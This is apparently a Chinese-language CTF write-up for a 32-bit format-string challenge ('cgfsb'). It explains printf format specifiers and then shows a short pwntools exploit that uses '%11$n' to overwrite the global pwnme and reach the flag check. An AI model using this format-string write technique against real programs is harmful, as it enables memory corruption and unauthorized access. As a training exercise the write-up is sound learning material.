这道题题目看起来我就懵了,菜鸡不知道printf还有什么用......emmm我不就是那个菜鸡吗?然后我选择百度printf的作用,就查到了格式化字符串漏洞,然后上wiki看相关的知识点,现在就贴一点知识点吧
格式化字符串
这里我们了解一下格式化字符串的格式,其基本格式如下
%[parameter][flags][field width][.precision][length]type
每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注
· parameter
· n$,获取格式化字符串中的指定参数
· flag
· field width
· 输出的最小宽度
· precision
· 输出的最大长度
· length,输出的长度
· hh,输出一个字节
· h,输出一个双字节
· type
d/i,有符号整数
· u,无符号整数
· x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
· o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
· s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
· c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
· p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
· n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
· %, '%'字面值,不接受任何 flags, width。
我们还是要先前Ida里看题的(32位,这里就不截check的图了,开了NX和Canary)
我们看到了printf(&s),就知道这个地方是格式化字符串漏洞,然后我们执行以下程序。
%n的作用是不输出字符(printf调用之后没有字符输出),但是把成功输入的字符个数写入指定地址的。%i$n,是把值写入第i个参数。
要想cat flag条件是pwnme == 8,然后我们看一下pwnme是个什么东西
发现它被写在bss段里,是个未定义的全局变量,我们接下来要做的就是给它赋值为8,但是它完全没在之前的步骤中出现,那很明显了,我们就是要通过printf来修改pwnme的值
然后,我们去找一下偏移
在call printf处下个断点,输入数据之后看一下寄存器中的地址
也可以直接在运行程序的时候输入%x直接把内容打出来
发现我们输入的数据写入了第11个参数,偏移是10。所以我们将pwnme地址写入。
之前pwnme的地址也找到了,因为是32位所以pwnme的地址打包后也是4个字节,再加4个字节就等于8了,8就是pwnme地址里对应的值。
然后就可以写exp了
from pwn import *
r = process('./cgfsb')
#r = remote('111.198.29.45', '37187')
r.recvuntil("please tell me your name:")
r.sendline('YeeZi')
r.recvuntil("leave your message please:")
payload = p32(0x0804A068)
r.sendline("aaaa"+payload+"%11$n")
#r.sendline(payload+"aaaa%10$n")
r.interactive()
最后看一下运行结果
由于是本地文件,没有flag文件,就cat 不到flag了,但原理没错就好了啦